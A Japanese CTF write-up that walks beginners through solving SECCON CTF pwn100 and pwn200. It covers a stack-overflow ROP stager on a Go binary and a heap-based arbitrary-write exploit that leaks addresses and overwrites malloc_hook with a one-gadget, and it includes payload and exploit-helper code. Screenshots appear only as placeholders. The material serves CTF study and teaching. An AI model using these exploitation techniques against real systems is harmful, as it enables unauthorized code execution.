pwnに関する初歩的ないくつかの手順を確認する

最近TSGの人が少しpwnに興味を持っている?(要出典)らしいのですが、世の中のwriteupを見ても何やってるのか分からへんみたいな話があり、僭越ながら僕のやっていることを一つずつスクリーンショットを交えつつまとめてみたいなと思います。

もっとも、人の書くモノによって得られる理解は書いた人の理解の部分集合程度という話は当然あるわけで、より多くの理解を得るには、katagaitai ctf勉強会資料とか、potetinsenseiのlive CTFとかみると良さそうではあります。

ネタは先日のSECCON CTFのpwn100, pwn200です。

もちろん以下の手順は不要なものを排除しているため、実際に僕はこれほど効率的には解けてないです。

pwn100

Stack OverflowからROPという典型ではありますが、バイナリがGoです。

実行してみる

enter image description here

二つ文字列をechoしているようなプログラムっぽいです。試しに、長い文字列とか%sとかをやってみます。 enter image description here

落ちました。どうもどっかがオーバーフローしているようです。

どうも下のバッファーだけ落ちるようです

Disassemlerで開きます

enter image description here

大量のProcが並んでいてつらいですが、みるべき部分は、main.mainだけです。そうはいってもgolangバイナリは読みにくいです。

実は今回バイナリをそれほど詳しく読む必要はないのですが、どんな関数が呼び出されているのかくらいは確認します。

enter image description here

するとこの怪しそうな部分が見えます。このmemcpyはgolangの関数ではないようです。ここでオーバーフローが落ちるんだろうなと推測できます。

頑張ってeipをとる

さっき出ていたエラーを詳しく見ていきます。

enter image description here

すると、0x4141414141414141バイトのメモリを確保しようとしてデカすぎると言われているようです。困ったのでオーバーフローする文字列をNULL文字にしてみます。

enter image description here

すると、pc=0で落ちました。これはつまり、オーバーフローしたバッファから取られたアドレスがeipに入ったことを意味しています。つまり、うまいアドレスを設定すれば、好きなアドレスに飛ばすことができそうです。典型的なバッファーオーバフローからのreturnアドレスの書き換えです。

returnアドレスがスタック上のどこにあって、オーバーフローする文字列とのオフセットがどれくらいかというのはgdbなどを使って確認できますが、普通にこの程度のサイズだったら、落ちるか落ちないかで手で二分探索できて、下手なことをするより速い気がします。

実際に送り込むバイト数を500から縮めていくと、

enter image description here

408バイト送り込んだあとに好きなアドレスを送り込めば、eipがその値になることが分かります。

exploit

ではこっから何をすればいいでしょうか。直接/bin/shを呼び出せるような状況ではないので、なんらかの形で/bin/shを実行するシェルコードを送り込みたいです。そのためにROPをします。

今回libcはないですが、バイナリ自体がでかいのでこれを使います。しかもディスアセンブルされた結果をよく見ていくと、いくつかのgolangのsyscallラッパが存在することが分かります。

enter image description here

Golangバイナリの呼び出し規約は普通のx64のバイナリと異なり、引数をスタックの上に積んでいけば良い(ということは上のディスアセンブルしている過程でわかる)ので、これを使います。仮に、標準的なROPをしようと思うと、引数をレジスタに格納するために、pop rdiなどを駆使して頑張る必要があり、今回よりもう少し気合が必要になります。

今回は、Stagerと言われるテクニックを使います。Stagerとは、短いROPで新しい実行可能領域を作り、そこにシェルコードを流し込んで、そのシェルコードを実行するテクニックです。今回のイメージは次のような感じです

ROPを組み立てる

実際にROPを作っていきましょう。疑似コードは次のような感じです

mmap(addr, 0x1000, 7, 34, -1, 0)
read(0, addr, len(shellcode))
shellcode()

mmapやreadのアドレスは、PIEでないため固定なので、Disassemblerから分かります。

enter image description here

enter image description here

このアドレスをretに当たるように配置するとともに、引数をスタックに積む必要があります。ところで、readを呼び出す前にmmapのために乗ったスタック上の引数より下にretが動くようにrspを下に動かすようにする必要があります。 このような命令列を探すためにはrp++というツールを使います

$./rp-lin-x64 --file=baby_stack --unique --rop=5 | grep "add rsp"

のように実行すると、 enter image description here

色々見つかりますが、いい感じのものを採用します。

これを元にROPを組み立てます。

shellcode = '\x00' * 408
shellcode += p64(mmap_addr)
shellcode += p64(add_rsp_0xe0) # dummy
shellcode += p64(addr_stage) #arg0
shellcode += p64(0x10000)
shellcode += p64(7)
shellcode += p64(34)
shellcode += p64(0xffffffffff)
shellcode += p64(0)

shellcode += p64(1) * 22 # dummy
shellcode += p64(read_addr)
shellcode += p64(addr_stage) # retaddr
shellcode += p64(0)
shellcode += p64(addr_stage)
shellcode += p64(len(get_sh_code))

enter image description here

スクリプト

以上の流れをスクリプトにまとめると

こんな感じになります。

実際に実行してみると、

enter image description here

フラグが取れることが分かります

pwn200

普通のバイナリで、またバッファオーバーフローが起こります。

実行してみる

enter image description here

enter image description here

enter image description here

Disassemblerで開いてみる

今度のバイナリは、割と真面目にバイナリを読む必要があります。

候補者リストの構造

今回のバイナリで重要となるのが、Heapの上に形成される候補者リストの構造です。 疑似的には、候補Candidateの構造体は

struct Candidate {
  char *name;
  struct Candidate *next;
  int count;
}

のようになっているといえ、構造を図示すると

enter image description here

findlist

enter image description here

addlist

enter image description here

長くなるのでmainとvoteだけ見ます

main

まず、addlistを使って、TatsumiさんShinonomeさんOjimaさんを追加します。このうちOjimaさんはこのあと少し重要となります。

enter image description here

以下は、menuで入力された値で分岐するようになっています

enter image description here

vote

lvに2を代入します。これにより、新しくstandすることができなくなります。またこの部分で、var_18に1を代入しています。これはあとで分かることですが候補者に増やす票数です。

enter image description here

候補者一覧を表示するかを確認します。

enter image description here

表示する場合は、リストを順に辿っていきます

enter image description here

その後、名前の入力に移ります。ここで妙なのは、入力された名前が"oshima"であるかどうかで、処理が分岐される点です。

enter image description here

まずはoshimaさんでない場合を考えます。この場合は普通に、リストから入力された名前の人を探し、存在すればその人の票数を増やし、存在しなければ、invalidであることを伝えた上でinvalid votesを増やします

enter image description here

問題は、oshimaさんだった場合です。このとき、まずojimaさんがリストに存在するかを探します。このojimaさんは上のmainで見たように、実行の最初に追加されている人です。候補者を削除することはできないので、リストが壊れているかどうかを簡易的に発見する措置である(?)と言えます。

enter image description here

ちゃんとOjimaさんがいた場合(壊れてなければ存在する)は、「私はOshimaじゃなくてOjimaです」というよく分からない主張が走り、ユーザーにOjimaさんに変更するかどうかを問います。

enter image description here

実はこの部分に脆弱性があります。これは、この部分だけgetnlineの引数でbufferのサイズが0x30と与えられているためです。

そして、最後にyesと選んだ場合は、ojimaさんの票数を増やす処理があります。

enter image description here

そしてこのとき、見つけたfound_listとvar_18がバッファオーバーフローにより上書きが可能で、これにより任意のアドレスに1byte整数分だけplus/minusすることが可能になります。行こうこの脆弱性をついてフラグを取得することを目指します。

方針

任意のアドレスが書き換え可能ですが、checksecすると、Full RELROでGOTは書き換えられません。

enter image description here

実は競技中は何書き換えればええねんって感じで死んだ(は?)んですが、普通にmalloc_hookやio tablesにあるjump tableを書き換えるのが良いようです。今回はmalloc hookを上書きしてみようと思います。

また、kimiyukiさんのwriteupを見ていると、普通にlibc分かるとstackがleakできるんですねという気持ちになりました(不勉強なため知らなかった)。stackがleakできれば、retアドレスを書き換えたりできます。

malloc hookとは、ここによれば、デバッグ時に便利な機構らしく、普段はNULLになっていますが、ここに有効なジャンプ先を指定しておくと、mallocが呼ばれるたびにここに飛んでくれるというすごいやつらしいです。使ったことないのでそんくらいしか知りません。

逆にいうと、malloc hookに適当なジャンプ先を上書きしてしまえば、これでシェルが取れることになります。

具体的には

  • アドレスの最下位バイトを上書きすることによって、heapアドレスのリーク
  • GOTを使ったlibcアドレスのリーク
  • そしてmalloc hookにone gadget rceのアドレスを書き込み
  • 最後にlvを上書きして、再びstandを呼び出しmallocをさせる

の四つの手順を行います。

任意のバイト列を生成する

あまりかっこいいコードではないですが、趣旨は分かりやすいと思います。

def make(addr, frm, to, size=4, wei=0):
    addr -= 0x10
    f = []
    t = []
    real = f[:]
    for i in range(size):
        f.append(frm % 256)
        frm //= 256
    for i in range(size):
        t.append(to % 256)
        to //= 256

    # print([chr(x) for x in f], [chr(x) for x in t])
    if frm > 0 or to > 0:
        raise Exception("hoge")

    for i in range(size):
        if t[i] > f[i]:
            diff = t[i] - f[i]
            char = min(127, diff)
            diff -= char
            payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(char)
            vote('oshima', payload, False, True, show=False)
            if diff != 0:
                if diff == 128:
                    payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(1)
                    vote('oshima', payload, False, True, show=False)
                    diff -= 1
                payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(diff)
                vote('oshima', payload, False, True, show=False)
        elif t[i] < f[i]:
            diff = f[i] - t[i]
            char = min(128, diff)
            diff -= char
            payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(256 - char)
            vote('oshima', payload, False, True, show=False)
            if diff != 0:
                payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(256 - diff)
                vote('oshima', payload, False, True, show=False)
        addr +=1

上で示したように、任意のアドレスに対して、1 byte整数の加算(減算)が可能なので、渡されたアドレスの場所に対して1byteずつ差分を加減算する処理をしています。

heap address leak

ヒープアドレスをリークするには、OjimaさんなどHeapに配置される人のアドレスに関して、ヒープアドレスの上位はランダマイズされ、いつも同じではないのですが、下位アドレスがいつも同じになることを利用します。

また、アドレスはリトルエンディアンで配置されているため、オーバーフローをした場合は下位アドレスから順に上書きされていきます。

結論から言えば、Ojimaさんの下位アドレスを00に書き換えます。すると、Ojimaさんを指すはずのポインタはheap topを指すようになります。

enter image description here

すると上の図のように、「本来票数があるはずの場所」にTatsumiさんの名前文字列へのポインタがくるようになります。この値に0x20加算した値というのはちょうどShinonomeさんの先頭をさします。候補の構造体の先頭はHeap内にある文字列を参照しているので、これによりHeapのアドレスがLeakできます。

libc address leak

libcのアドレスをleakするにはGOTを利用します。今回書き込みはできませんが、読み込みは当然できます。そしてこの値は固定アドレスなので、決め打ちでlibcのアドレスを知ることができます。

どうすればよいかというと、上のheap leakでしたように、候補者の名前を書き換えます。そして、すでにheapのアドレスが割れているので、好きな人の候補の名前を上で用意した関数を使って書き換えることができます。

今回は、putcharのgotを使いました。GOTのアドレスはディスアセンブラを用いて確認できます。

enter image description here

今回は0x601f80に、Tatsumiさんの名前のポインタを書き換えました。

make(heap_base + 0x200,0, put_char_got, wei=1)
make(heap_base + 0x58, heap_base + 0x10, heap_base + 0x200)
put_char_addr = get_addr()

enter image description here

これによりlibcの中でのputcharのアドレスが分かります。libcの配置はランダムですが、libc内でのオフセットは一定なので、nmを使って、libc内におけるput_charのオフセットを調べます。

enter image description here

これによりlibcのbaseアドレスが分かります

libc_base = put_char_addr - put_char_libc

malloc hook overwrite

大詰めです。malloc hookをoverwriteします。まず、one gadget rceを検索します。僕はone_gadgetというツールを使います

enter image description here

四つほど見つかりました。まずはこれらをそれぞれ試して見て動くかなければ、その時は考えることにします(そして動きます。動かなければstackアドレス自体もlibcからleakができるので直接rsp+0x30になる値を0にしてしまうといったことができると思います)。

いくつか試した結果動くのは0xf0274にあるものでした。なのでこれを採用します。

enter image description here

malloc hookのアドレスはここです。これを書き換えます

make(malloc_hook, 0, rce_addr, size=8)

get sh

最後にmallocを呼び出してもらう必要があります。mallocは意外と条件によってはprintfの中から呼び出してくれたりして奥が深いようですが、今回はmallocを実際に呼び出すことができるので普通に呼び出します。

ただし、一つ問題があって、voteしてからだとstandすることができません。これは上で説明したようにlvが2になっているためで、これを1に戻します。lvはbssにあって固定アドレスです。

lv = 0x602010
make(lv, 2, 1, size=4)

最後に、mallocを呼び出すためにstandをすると無事シェルが取れます

stand("fugafuga")

最終的なスクリプト

以上をまとめたものが次のスクリプトです。

これを実行すると、

enter image description here

フラグが取れます。

終わりに

なんかこんなに長く書くつもりはなかったんですが、微妙に長くなってしまった。複数人でわいわいできるとたのしいので人々もたまにはCTFやりましょう(別にスプラトゥーンやっててもよいので)。